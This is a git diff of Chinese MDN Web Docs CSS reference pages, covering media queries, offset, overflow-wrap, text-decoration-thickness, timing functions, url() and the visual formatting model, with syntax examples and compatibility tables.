{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}探测用户倾向于选择亮色还是暗色的配色方案在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-contrast", "prefers-contrast")}}探测用户是否有向系统要求提高或降低相近颜色之间的对比度在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}用户是否希望页面上出现更少的动态效果在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}用户是否倾向于选择更低的透明度在 Media Queries Level 5 中被添加。
{{cssxref("@media/resolution", "resolution")}}输出设备的像素密度(分辨率)
{{cssxref("@media/scan", "scan")}}输出设备的扫描过程(适用于电视等)
{{cssxref("@media/scripting", "scripting")}}探测脚本(例如 JavaScript)是否可用在 Media Queries Level 5 中被添加。
{{cssxref("@media/update-frequency", "update")}}输出设备更新内容的渲染结果的频率在 Media Queries Level 4 中被添加。
{{cssxref("@media/width", "width")}}视窗(viewport)的宽度,包括纵向滚动条的宽度
+ +

逻辑操作符

+ +

逻辑操作符logical operatorsnot, and, 和 only 可用于联合构造复杂的媒体查询,您还可以通过用逗号分隔多个媒体查询,将它们组合为一个规则。

+ +

and

+ +

 and 操作符用于将多个媒体查询规则组合成单条媒体查询,当每个查询规则都为真时则该条媒体查询为真,它还用于将媒体功能与媒体类型结合在一起。

+ +

not

+ +

not运算符用于否定媒体查询,如果不满足这个条件则返回true,否则返回false。 如果出现在以逗号分隔的查询列表中,它将仅否定应用了该查询的特定查询。 如果使用not运算符,则还必须指定媒体类型。

+ +
+

注意:在Level 3中,not关键字不能用于否定单个媒体功能表达式,而只能用于否定整个媒体查询。

+
+ +

only

+ +

only运算符仅在整个查询匹配时才用于应用样式,并且对于防止较早的浏览器应用所选样式很有用。 当不使用only时,旧版本的浏览器会将screen and (max-width: 500px)简单地解释为screen,忽略查询的其余部分,并将其样式应用于所有屏幕。 如果使用only运算符,则还必须指定媒体类型。

+ +

, (逗号)

+ +

逗号用于将多个媒体查询合并为一个规则。 逗号分隔列表中的每个查询都与其他查询分开处理。 因此,如果列表中的任何查询为true,则整个media语句均返回true。 换句话说,列表的行为类似于逻辑或or运算符。

+ +

定位媒体类型

+ +

媒体类型描述了给定设备的一般类别。 尽管通常在设计网站时会考虑屏幕,但您可能希望创建针对特殊设备(例如打印机或基于音频的屏幕阅读器)的样式。 例如,此CSS针对打印机:

+ +
@media print { ... }
+
+ +

您还可以定位多个设备。 例如,此@media规则使用两个媒体查询来同时定位屏幕和打印设备

+ +
@media screen, print { ... }
+
+ +

有关所有媒体类型的列表,请参见Media types。 由于它们仅以非常广泛的术语描述设备,因此只有少数几种可用。 要定位更具体的属性,请改用媒体功能

+ +

定位媒体特性

+ +

媒体功能描述了给定的{{glossary("user agent")}}的输出设备或环境的特定特征。 例如,您可以将特定样式应用于宽屏显示器,使用鼠标的计算机,或应用于在弱光条件下使用的设备。 当用户的主要输入机制(例如鼠标)可以悬停在元素上时,如下为一个示例:

+ +
@media (hover: hover) { ... }
+
+ +

许多媒体功能都是范围功能,这意味着可以在它们前面加上“最小”或“最大”来表示“最小条件”或“最大条件”约束。 例如,仅当您的浏览器的{{glossary("viewport")}}宽度等于或小于12450px时,此CSS才会应用样式:

+ +
@media (max-width: 12450px) { ... }
+
+ +

如果您在未指定值的情况下创建媒体功能查询,则该样式将全部被应用,只要该查询的值不为零(或在Level 4中为none)即可。 例如,此CSS将适用于任何带有彩色屏幕的设备:

+ +
@media (color) { ... }
+
+ +

如果某个功能不适用于运行浏览器的设备,则涉及该媒体功能的表达式始终为false。 例如,将不会使用嵌套在以下查询中的样式,因为没有语音专用设备具有屏幕长宽比:

+ +
@media speech and (aspect-ratio: 11/5) { ... }
+
+ +

有关更多媒体功能media feature示例,请参阅每个特定功能的参考页。

+ +

创建复杂查询

+ +

有时您可能想创建一个取决于多个条件的媒体查询。 这就是逻辑运算符使用的场景:notand,和 only。 此外,您可以将多个媒体查询合并到一个逗号分隔的列表中。 这使您可以在不同情况下应用相同的样式。

+ +

在前面的示例中,我们已经看到and运算符用于将媒体类型与媒体功能分组。 and运算符还可以将多个媒体功能组合到单个媒体查询中。 同时,not运算符会否定媒体查询,从而基本上颠倒了它的正常含义。 唯一的运算符可防止较早的浏览器应用样式。

+ +
+

注意: 在大多数情况下,默认情况下,如果未指定其他类型,则使用all媒体类型。 但是,如果使用notonly运算符,则必须显式指定媒体类型。

+
+ +

结合多种类型和特性

+ +

and关键字将媒体功能与媒体类型或其他媒体功能组合在一起。 此示例结合了两种媒体功能,以将样式限制为宽度至少为30 em的横向的设备:

+ +
@media (min-width: 30em) and (orientation: landscape) { ... }
+
+ +

要将样式限制为带有屏幕的设备,可以将媒体功能链接到screen媒体类型:

+ +
@media screen and (min-width: 30em) and (orientation: landscape) { ... }
+ +

测试多重查询

+ +

当用户的设备与各种媒体类型,功能或状态中的任何一种匹配时,可以使用逗号分隔的列表来应用样式。 例如,如果用户设备的最小高度为680px或为纵向模式的屏幕设备,则以下规则将应用其样式:

+ +
@media (min-height: 680px), screen and (orientation: portrait) { ... }
+
+ +

以上面的示例为例,如果用户使用的打印机的页面高度为800像素,则media语句将返回true,因为将应用第一个查询。 同样,如果用户使用的是纵向模式的智能手机,并且视口高度为480px,则将应用第二个查询,并且media语句仍将返回true。

+ +

反转查询的含义

+ +

not关键字会反转整个媒体查询的含义。 它只会否定要应用的特定媒体查询。 (因此,它不会应用于以逗号分隔的媒体查询列表中的每个媒体查询。)not关键字不能用于否定单个功能查询,只能用于否定整个媒体查询。 看看以下not关键字的例子:

+ +
@media not all and (monochrome) { ... }
+
+ +

所以上述查询等价于:

+ +
@media not (all and (monochrome)) { ... }
+
+ +

而不是:

+ +
@media (not all) and (monochrome) { ... }
+ +

再看另一个例子,如下媒体查询:

+ +
@media not screen and (color), print and (color) { ... }
+
+ +

等价于:

+ +
@media (not (screen and (color))), print and (color) { ... }
+ +

提升老版本浏览器兼容性

+ +

only关键字可防止不支持带有媒体功能的媒体查询的旧版浏览器应用给定的样式。 它对现代浏览器没有影响。

+ +
@media only screen and (color) { ... }
+
+ +

版本 4 中的语法改进

+ +

媒体查询4级规范对语法进行了一些改进,以使用具有“范围”类型(例如宽度或高度,减少冗余)的功能进行媒体查询。 级别4添加了用于编写此类的查询范围上下文。 例如,使用最大宽度max- 功能,我们可以编写以下代码:

+ +
+

Note: 媒体查询4级规范在现代浏览器中具有合理的支持,但某些媒体功能并未得到很好的支持。 有关更多详细信息,请参见 @media browser compatibility table

+
+ +
@media (max-width: 30em) { ... }
+ +

在媒体查询4级规范可以这样写:

+ +
@media (width <= 30em) { ... }
+
+ +

使用min-max-可以测试一个在两个值之间的宽度

+ +
@media (min-width: 30em) and (max-width: 50em) { ... }
+ +

用4级语法书写如下

+ +
@media (30em <= width <= 50em ) { ... }
+
+
+ +

媒体查询4级规范还添加了用and, not, 和 or实现的完整的布尔运算来合并媒体查询的方法。

+ +

使用 not否定一个特性

+ +

在媒体功能周围使用not()会否定查询中的该特性。 例如,如果设备没有悬停功能,则not(hover)将被匹配:

+ +
@media (not(hover)) { ... }
+ +

用 or测试多个特性

+ +

您可以使用or测试多个功能之间的匹配,如果任何功能为true,则解析为true。 例如,以下查询测试具有单色显示或悬停功能的设备:

+ +
@media (not (color)) or (hover) { ... }
+ +

参见

+ + diff --git a/files/zh-cn/web/css/offset/index.html b/files/zh-cn/web/css/offset/index.html new file mode 100644 index 0000000000..e61a0ffd7a --- /dev/null +++ b/files/zh-cn/web/css/offset/index.html @@ -0,0 +1,97 @@ +--- +title: offset +slug: Web/CSS/偏移 +translation_of: Web/CSS/offset +--- +
{{SeeCompatTable}}{{CSSRef}}{{draft}}
+ +

这个 offset 是CSS属性的快速属性动画元素沿着定义的路径。

+ +
+

早期版本 规格 属性叫做 motion.

+
+ +

{{cssinfo}}

+ +

Syntax

+ +
/* 偏移位置 */
+offset: auto
+offset: 10px 30px;
+offset: none;
+
+/* 偏移路径 */
+offset: ray(45deg closest-side);
+offset: path(M 100 100 L 300 100 L 200 300 z);
+offset: url(arc.svg);
+
+/*  偏移路径的距离和/或旋转  */
+offset: url(circle.svg) 100px;
+offset: url(circle.svg) 40%;
+offset: url(circle.svg) 30deg;
+offset: url(circle.svg) 50px 20deg;
+
+/*  包括锚偏移  */
+offset: ray(45deg closest-side) / 40px 20px;
+offset: url(arc.svg) 2cm / 0.5cm 3cm;
+offset: url(arc.svg) 30deg / 50px 100px;
+
+ +

语法形式

+ +
{{csssyntax}}
+ +

举例

+ +

HTML

+ +
<div id="offsetElement"></div>
+
+ +

CSS

+ +
@keyframes move {
+  from {
+    offset-distance: 0%;
+  }
+
+  to {
+    offset-distance: 100%;
+  }
+}
+
+#offsetElement {
+  width: 50px;
+  height: 50px;
+  background-color: blue;
+  offset: path("M 100 100 L 300 100 L 200 300 z") auto;
+  animation: move 3s linear infinite;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Example", 350, 350)}}

+ +

规格

+ + + + + + + + + + + + + + +
规格使用状态注释
{{SpecName('Motion Path Level 1', '#offset-shorthand', 'offset')}}{{Spec2('Motion Path Level 1')}}Initial definition
+ +

浏览器兼容性

+ +

该兼容性表生成从该网页的结构化数据。如果你愿意,请查看https://github.com/mdn/browser-compat-数据,并发送一个引入请求。

+ +

{{Compat("css.properties.offset")}}

diff --git a/files/zh-cn/web/css/overflow-wrap/index.html b/files/zh-cn/web/css/overflow-wrap/index.html new file mode 100644 index 0000000000..5c2c0c687d --- /dev/null +++ b/files/zh-cn/web/css/overflow-wrap/index.html @@ -0,0 +1,147 @@ +--- +title: overflow-wrap +slug: Web/CSS/word-wrap +tags: + - CSS Text Module Level 3 + - CSS3 + - W3C + - overflow-wrap + - word-wrap +translation_of: Web/CSS/overflow-wrap +--- +
{{CSSRef}}
+ +
+ +

{{EmbedInteractiveExample("pages/css/overflow-wrap.html")}}

+ + + +

CSS 属性 overflow-wrap 是用来说明当一个不能被分开的字符串太长而不能填充其包裹盒时,为防止其溢出,浏览器是否允许这样的单词中断换行。

+ +
+

与{{cssxref("word-break")}}相比,overflow-wrap仅在无法将整个单词放在自己的行而不会溢出的情况下才会产生中断。

+
+ +
注:word-wrap 属性原本属于微软的一个私有属性,在 CSS3 现在的文本规范草案中已经被重名为 {{cssxref("overflow-wrap")}} 。 word-wrap 现在被当作 overflow-wrap 的 “别名”。 稳定的谷歌 Chrome 和 Opera 浏览器版本支持这种新语法。
+ +

语法

+ +
/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+
+
+ +

overflow-wrap 属性指定为从下面的值列表中选择的单个关键字。

+ +

+ +
+
normal
+
行只能在正常的单词断点处中断。(例如两个单词之间的空格)。
+
break-word
+
表示如果行内没有多余的地方容纳该单词到结尾,则那些正常的不能被分割的单词会被强制分割换行。
+
+ +

形式语法

+ +
{{csssyntax}}
+ +

示例

+ +

比较 overflow-wrap、word-break 和 hyphens

+ +

本示例比较分解长单词时,overflow-wrapword-break,  hyphens 的结果。

+ +

HTML

+ +
<p>They say the fishing is excellent at
+  Lake <em class="normal">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>normal</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="ow-anywhere">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>overflow-wrap: anywhere</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="ow-break-word">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>overflow-wrap: break-word</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="word-break">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>word-break</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, without <code>lang</code> attribute)</p>
+<p lang="en">They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, English rules)</p>
+<p class="hyphens" lang="de">They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, German rules)</p>
+ +

CSS

+ +
p {
+   width: 13em;
+   margin: 2px;
+   background: gold;
+}
+
+.ow-anywhere {
+   overflow-wrap: anywhere;
+}
+
+.ow-break-word {
+   overflow-wrap: break-word;
+}
+
+.word-break {
+   word-break: break-all;
+}
+
+.hyphens {
+   hyphens: auto;
+}
+ +

结果

+ +

{{ EmbedLiveSample('Comparing_overflow-wrap_word-break_and_hyphens', '100%', 260) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}{{ Spec2('CSS3 Text') }}Initial definition
+ +

{{cssinfo}}

+ +

浏览器兼容性

+ +

{{Compat("css.properties.overflow-wrap")}}

+ +

另参见

+ + diff --git a/files/zh-cn/web/css/text-decoration-thickness/index.html b/files/zh-cn/web/css/text-decoration-thickness/index.html new file mode 100644 index 0000000000..cdffd6eced --- /dev/null +++ b/files/zh-cn/web/css/text-decoration-thickness/index.html @@ -0,0 +1,119 @@ +--- +title: 文本装饰线厚度(粗细) +slug: Web/CSS/文本装饰线厚度(粗细) +tags: + - 装饰线粗细 装饰线厚度 +translation_of: Web/CSS/text-decoration-thickness +--- +
{{CSSRef}}
+ +
CSS 属性 text-decoration-thickness 用于设置元素中文本所使用的装饰线(如 line-through、underline 或 overline)的笔触厚度。
+ +

语法

+ +
/* Single keyword */
+text-decoration-thickness: auto;
+text-decoration-thickness: from-font;
+
+/* length */
+text-decoration-thickness: 0.1em;
+text-decoration-thickness: 3px;
+
+/* percentage */
+text-decoration-thickness: 10%;
+
+/* Global values */
+text-decoration-thickness: inherit;
+text-decoration-thickness: initial;
+text-decoration-thickness: unset;
+ +

+ +
+
auto
+
由浏览器为文本装饰线选择合适的厚度。
+
from-font
+
如果字体文件中包含了首选的厚度值,则使用字体文件的厚度值。如果字体文件中没有包含首选的厚度值,则效果和设置为 auto 一样,由浏览器选择合适的厚度值。
+
<length>
+
将文本装饰线的厚度设置为一个 {{cssxref('length')}} 类型的值,覆盖掉字体文件建议的值或浏览器默认的值。
+
<percentage>
+
Specifies the thickness of the text decoration line as a {{cssxref('percentage')}} of 1em in the current font. A percentage inherits as a relative value, and so therefore scales with changes in the font. The browser must use a minimum of 1 device pixel. For a given application of this property, the thickness is constant across the whole box it is applied to, even if there are child elements with a different font size.
+
+ +

Formal definition

+ +

{{CSSInfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

示例

+ +

Varying thickness

+ +

HTML

+ +
<p class="thin">Here's some text with a 1px red underline.</p>
+<p class="thick">This one has a 5px red underline.</p>
+<p class="shorthand">This uses the equivalent shorthand.</p>
+ +

CSS

+ +
.thin {
+  text-decoration-line: underline;
+  text-decoration-style: solid;
+  text-decoration-color: red;
+  text-decoration-thickness: 1px;
+}
+
+.thick {
+  text-decoration-line: underline;
+  text-decoration-style: solid;
+  text-decoration-color: red;
+  text-decoration-thickness: 5px;
+}
+
+.shorthand {
+  text-decoration: underline solid red 5px;
+}
+ +

Results

+ +

{{ EmbedLiveSample('Varying_thickness', '', '', '') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Text Decoration', '#text-decoration-width-property', 'text-decoration-width')}}{{Spec2('CSS4 Text Decoration')}}Initial definition.
+ +
+

Note: The property used to be called text-decoration-width, but was updated in 2019 to text-decoration-thickness.

+
+ +

浏览器兼容性

+ + + +

{{Compat("css.properties.text-decoration-thickness")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/css/timing-function/index.html b/files/zh-cn/web/css/timing-function/index.html deleted file mode 100644 index aef640fdd3..0000000000 --- a/files/zh-cn/web/css/timing-function/index.html +++ /dev/null @@ -1,266 +0,0 @@ ---- -title: -slug: Web/CSS/timing-function -tags: - - CSS - - timing-function -translation_of: Web/CSS/easing-function -translation_of_original: Web/CSS/timing-function ---- -

{{ CSSRef() }}

- -

<timing-function> CSS 数据类型表示一个数学函数,它描述了在一个过渡或动画中一维数值的改变速度。这实质上让你可以自己定义一个加速度曲线,以便动画的速度在动画的过程中可以进行改变。这些函数通常被称为缓动函数。

- -

这是一个表示时间输出比率的函数,表示为{{cssxref("<number>")}},0, 0 代表初始状态,1, 1 代表终止状态。

- -

输出比可以大于1.0(或者小于0.0)。这是因为在一种反弹效果中,动画是可以比最后的状态走的更远的,然后再回到最终状态。

- -

不过,如果输出值超过了它允许的范围,比如组成一个颜色的值大于了255或者小于了0,这个值会被修改为允许范围内的最接近的值(在颜色值这个例子中分别为255和0)。一些贝塞尔曲线展示了这些性质。

- -

定时函数

- -
-

CSS 支持两种定时函数:立方贝塞尔曲线的子集和阶梯函数。这些函数中最有用的是一个关键字,可以很容易地引用它们。

- -

cubic-bezier() 定时函数

- - - - - - - - -
-

-
-

cubic-bezier() 定义了一条 立方贝塞尔曲线(cubic Bézier curve)。这些曲线是连续的,一般用于动画的平滑变换,也被称为缓动函数(easing functions)。

- -

一条立方贝塞尔曲线需要四个点来定义,P0 、P1 、P2 和 P3。P0 和 P3 是起点和终点,这两个点被作为比例固定在坐标系上,横轴为时间比例,纵轴为完成状态。P0 是 (0, 0),表示初始时间和初始状态。P3 是 (1, 1) ,表示终止时间和终止状态。

- -

并非所有的三次贝塞尔曲线都适合作为计时函数,也并非所有的曲线都是数学函数,即给定横坐标为0或1的曲线。在CSS定义的P0和P3固定的情况下,三次贝塞尔曲线是一个函数,因此,当且仅当P1和P2的横坐标都在[0,1]范围内时,三次贝塞尔曲线是有效的。

- -

三次贝塞尔曲线的 P1或 P2坐标超出[0, 1] 范围可能会产生弹跳效果。

- -

当指定的三次贝塞尔曲线无效时,CSS将忽略整个属性。

-
-
- -

语法

- -
cubic-bezier(x1, y1, x2, y2)
-
- -

其中,

- -
-
x1, y1, x2, y2是<number>类型的值,它们代表当前定义立方贝塞尔曲线中的P1 和 P2点的横坐标和纵坐标,X1和X2必须在[0,1]范围内,否则当前值无效。
-
Are {{cssxref("<number>")}} values representing the abscissas and ordinates of the P1 and P2 points defining the cubic Bézier curve. x1 and x2 must be in the range [0, 1] or the value is invalid.
-
- -

示例

- -

CSS 中允许使用这些贝塞尔曲线:

- -
cubic-bezier(0.1, 0.7, 1.0, 0.1)   The canonical Bézier curve with four <number> in the [0,1] range.
-cubic-bezier(0, 0, 1, 1)           Using <integer> is valid as any <integer> is also a <number>.
-cubic-bezier(0.3, -1.9, 2.1, -0.2) Negative values for ordinates are valid, leading to bouncing effects.
-cubic-bezier(0.1, 4, 0.6, 2.45)    Values > 1.0 for ordinates are also valid.
- -

像这些贝塞尔曲线的定义是无效的:

- -
cubic-bezier(0.1, red, 1.0, green) Though the animated output type may be a color, Bézier curves work w/ numerical ratios.
-cubic-bezier(-0.2, 0.6, -0.1, 0)   Abscissas must be in the [0, 1] range or the curve is not a function of time.
-cubic-bezier(0.3, 2.1)             The two points must be defined, there is no default value.
-cubic-bezier(1.1, 0, 4, 0)         Abscissas must be in the [0, 1] range or the curve is not a function of time.
-
- -

The steps() class of timing-functions

- - - - - - - - - - - - - -
- - - - - - - -
-

steps() 定义了一个以等距步长划分值域的步长函数。这个阶跃函数的子类有时也称为阶梯函数。

-
-
steps(2, start)steps(4, end)
- -

Syntax

- -
steps(number_of_steps, direction)
-
- -

where :

- -
-
number_of_steps
-
Is a strictly positive {{cssxref("<integer>")}} representing the amount of equidistant treads composing the stepping function.
-
direction
-
Is a keyword indicating if it the function is left- or right-continuous: -
    -
  • start denotes a left-continuous function, so that the first step happens when the animation begins;
  • -
  • end denotes a right-continuous function, so that the last step happens when the animation ends.
  • -
-
-
- -

Examples

- -

These timing functions are valid :

- -
steps(5, end)          There is 5 treads, the last one happens right before the end of the animation.
-steps(2, start)        A two-step staircase, the first one happening at the start of the animation.
-
- -

These timing function are invalid :

- -
steps(2.0, end)        The first parameter must be an <integer> and cannot be a real value, even if it is equal to one.
-steps(-3, start)       The amount of steps must be non-negative.
-steps(0, end)          There must be at least one step.
-steps(2)               The second parameter is not optional.
-steps(start, 3)        Though of different types, the order of parameter is important.
-step(1, end)           Even if there is one step, the function name is steps, with the plural 's'
-steps(3 end)           The two parameters must be separated with a comma; one or several spaces is not enough.
-
- -

常用定时函数关键字

- -

linear

- - - - - - - - -
-

此关键字表示定时函数cubic-bezier(0.0, 0.0, 1.0, 1.0)。使用这个定时函数,动画会以恒定的速度从初始状态过渡到结束状态。

-
- -

ease

- - - - - - - - -
此关键字表示定时函数 cubic-bezier(0.25, 0.1, 0.25, 1.0)。 这个函数类似于 ease-in-out, 尽管它在开始时加速地更快,但在接近中间中,加速已经开始变慢了。
- -

ease-in

- - - - - - - - -
-

此关键字表示定时函数cubic-bezier(0.42, 0.0, 1.0, 1.0)。动画开始时缓慢,然后逐步加速,知道达到最后状态,动画突然停止。

-
- -

ease-in-out

- - - - - - - - -
-

此关键字表示定时函数 cubic-bezier(0.42, 0.0, 0.58, 1.0)。使用这个定时函数,动画开始的行为类似于 ease-in 函数,动画结束时的行为类似于 ease-out函数。

-
- -

ease-out

- - - - - - - - -
-

此关键字表示定时函数 cubic-bezier(0.0, 0.0, 0.58, 1.0)。动画开始很快,然后逐渐减慢,直到最终状态。

-
- -

step-start

- - - - - - - - -
此关键字表示定时函数 steps(1, start)。使用这个定时函数,动画会立刻跳转到结束状态,并一直停留在结束状态直到动画结束。
- -

step-end

- - - - - - - - -
-

此关键字表示定时函数 steps(1, end)。使用这个定时函数,动画会一直保持初始状态直到动画结束,然后立刻跳转到结束状态。

-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Transitions', '#transition-timing-function', '<timing-function>') }}{{ Spec2('CSS3 Transitions') }}Defined anonymously
{{ SpecName('CSS3 Animations', '#animation-timing-function', '<timing-function>') }}{{ Spec2('CSS3 Animations') }}Defined anonymously, says to see definition in the CSS Transitions Module
- -

浏览器兼容性

- -

{{Compat("css.types.timing-function", 2)}}

- -

相关链接

- - diff --git a/files/zh-cn/web/css/url()/index.html b/files/zh-cn/web/css/url()/index.html new file mode 100644 index 0000000000..3ba85545e4 --- /dev/null +++ b/files/zh-cn/web/css/url()/index.html @@ -0,0 +1,127 @@ +--- +title: +slug: Web/CSS/url +translation_of: Web/CSS/url() +translation_of_original: Web/CSS/url +--- +

{{ CssRef() }}

+ +

概述

+ +

CSS 数据类型 <url> 指向一个资源。它没有独有的表达形式,只能通过 url() 函数定义。

+ +
URI 和 URL?
+
+URI(统一资源标识符) 与 URL(统一资源定位符) 不同。URL 描述资源的位置,而 URI 描述资源的 id。URI 可以是一个资源的 URL(地址)、或 URN(统一资源名称)。
+
+在 CSS Level 1 中,url() 函数被引入并用于描述 URL,即地址(虽然没有明确定义,但指一个 CSS 数据类型 <url>
+
+在 CSS Level 2 中,url() 函数被扩展为可以描述任何一个 URI,即 URL 或 URN。这一定义导致  url() 函数被用于创建一个  <uri> 数据类型。这一行为使人迷惑,且在 CSS 中几乎从不使用 URN。
+
+为了解决这一问题,在 CSS Level 3 中恢复了它的初始定义, url() 函数被明确定义为指代 <url> CSS 数据类型,且 <uri> CSS 数据类型不再存在。
+
+注意,这些语义信息并不会影响 Web 开发者的开发和对此数据类型的具体实现。
+ +

许多 CSS 属性 将 URL 作为属性值,例如 {{ Cssxref("background-image") }}、{{ Cssxref("cursor") }}、{{ Cssxref("@font-face") }}、{{ cssxref("list-style") }} 等。

+ +

url() 函数

+ +

URL 可以使用单引号或双引号包含,也可以直接书写。可以在此函数中使用相对地址。相对地址相对于 CSS 样式表的 URL(而不是网页的 URL)。

+ +

语法

+ +
 <CSS 属性>:  url("http://mysite.example.com/mycursor.png")
+
+ <CSS 属性>:  url(http://mysite.example.com/mycursor.png)
+
+ +
+

注意: 从 Firefox 15 开始,不再允许在未用引号包含的 url() 中使用大于 0x7e 的控制字符。详情请查看 {{Bug(752230)}}。

+
+ +

示例

+ +
.topbanner { background: url("topbanner.png") #00D no-repeat fixed; }
+
+ +
ul { list-style: square url(http://www.example.com/redball.png) }
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{ SpecName('CSS3 Values', '#urls', '<url>') }}{{ Spec2('CSS3 Values') }}自 CSS Level 2 (Revision 1) 以来没有显著更改
{{ Specname('CSS2.1', 'syndata.html#uri', '<uri>') }}{{ Spec2('CSS2.1') }}自 CSS Level 1 以来没有显著更改
{{ SpecName('CSS1', '#url', '<url>') }}{{ Spec2('CSS1') }} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持1.01.0 (1.0)3.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持1.01.0 (3.5)yesyes1.0
+
diff --git a/files/zh-cn/web/css/url/index.html b/files/zh-cn/web/css/url/index.html deleted file mode 100644 index 3ba85545e4..0000000000 --- a/files/zh-cn/web/css/url/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: -slug: Web/CSS/url -translation_of: Web/CSS/url() -translation_of_original: Web/CSS/url ---- -

{{ CssRef() }}

- -

概述

- -

CSS 数据类型 <url> 指向一个资源。它没有独有的表达形式,只能通过 url() 函数定义。

- -
URI 和 URL?
-
-URI(统一资源标识符) 与 URL(统一资源定位符) 不同。URL 描述资源的位置,而 URI 描述资源的 id。URI 可以是一个资源的 URL(地址)、或 URN(统一资源名称)。
-
-在 CSS Level 1 中,url() 函数被引入并用于描述 URL,即地址(虽然没有明确定义,但指一个 CSS 数据类型 <url>
-
-在 CSS Level 2 中,url() 函数被扩展为可以描述任何一个 URI,即 URL 或 URN。这一定义导致  url() 函数被用于创建一个  <uri> 数据类型。这一行为使人迷惑,且在 CSS 中几乎从不使用 URN。
-
-为了解决这一问题,在 CSS Level 3 中恢复了它的初始定义, url() 函数被明确定义为指代 <url> CSS 数据类型,且 <uri> CSS 数据类型不再存在。
-
-注意,这些语义信息并不会影响 Web 开发者的开发和对此数据类型的具体实现。
- -

许多 CSS 属性 将 URL 作为属性值,例如 {{ Cssxref("background-image") }}、{{ Cssxref("cursor") }}、{{ Cssxref("@font-face") }}、{{ cssxref("list-style") }} 等。

- -

url() 函数

- -

URL 可以使用单引号或双引号包含,也可以直接书写。可以在此函数中使用相对地址。相对地址相对于 CSS 样式表的 URL(而不是网页的 URL)。

- -

语法

- -
 <CSS 属性>:  url("http://mysite.example.com/mycursor.png")
-
- <CSS 属性>:  url(http://mysite.example.com/mycursor.png)
-
- -
-

注意: 从 Firefox 15 开始,不再允许在未用引号包含的 url() 中使用大于 0x7e 的控制字符。详情请查看 {{Bug(752230)}}。

-
- -

示例

- -
.topbanner { background: url("topbanner.png") #00D no-repeat fixed; }
-
- -
ul { list-style: square url(http://www.example.com/redball.png) }
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态说明
{{ SpecName('CSS3 Values', '#urls', '<url>') }}{{ Spec2('CSS3 Values') }}自 CSS Level 2 (Revision 1) 以来没有显著更改
{{ Specname('CSS2.1', 'syndata.html#uri', '<uri>') }}{{ Spec2('CSS2.1') }}自 CSS Level 1 以来没有显著更改
{{ SpecName('CSS1', '#url', '<url>') }}{{ Spec2('CSS1') }} 
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持1.01.0 (1.0)3.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持1.01.0 (3.5)yesyes1.0
-
diff --git a/files/zh-cn/web/css/visual_formatting_model/index.html b/files/zh-cn/web/css/visual_formatting_model/index.html new file mode 100644 index 0000000000..640f3abbc9 --- /dev/null +++ b/files/zh-cn/web/css/visual_formatting_model/index.html @@ -0,0 +1,282 @@ +--- +title: 视觉格式化模型 +slug: Web/Guide/CSS/Visual_formatting_model +tags: + - CSS + - CSS盒模型 + - 参考 +translation_of: Web/CSS/Visual_formatting_model +--- +

{{CSSRef}}

+ +

CSS 视觉格式化模型(visual formatting model)是用来处理和在视觉媒体上显示文档时使用的计算规则。该模型是 CSS 的基础概念之一。

+ + + +

视觉格式化模型会根据CSS盒子模型将文档中的元素转换为一个个盒子,每个盒子的布局由以下因素决定:

+ +
    +
  • 盒子的尺寸:精确指定、由约束条件指定或没有指定
  • +
  • 盒子的类型:行内盒子(inline)、行内级盒子(inline-level)、原子行内级盒子(atomic inline-level)、块盒子(block)
  • +
  • 定位方案(positioning scheme):普通流定位、浮动定位或绝对定位
  • +
  • 文档树中的其它元素:即当前盒子的子元素或兄弟元素
  • +
  • {{glossary("viewport", "视口")}}尺寸与位置
  • +
  • 所包含的图片的尺寸
  • +
  • 其他的某些外部因素
  • +
+ +

该模型会根据盒子的包含块(containing block)的边界来渲染盒子。通常,盒子会创建一个包含其后代元素的包含块,但是盒子并不由包含块所限制,当盒子的布局跑到包含块的外面时称为溢出(overflow)

+ +
+

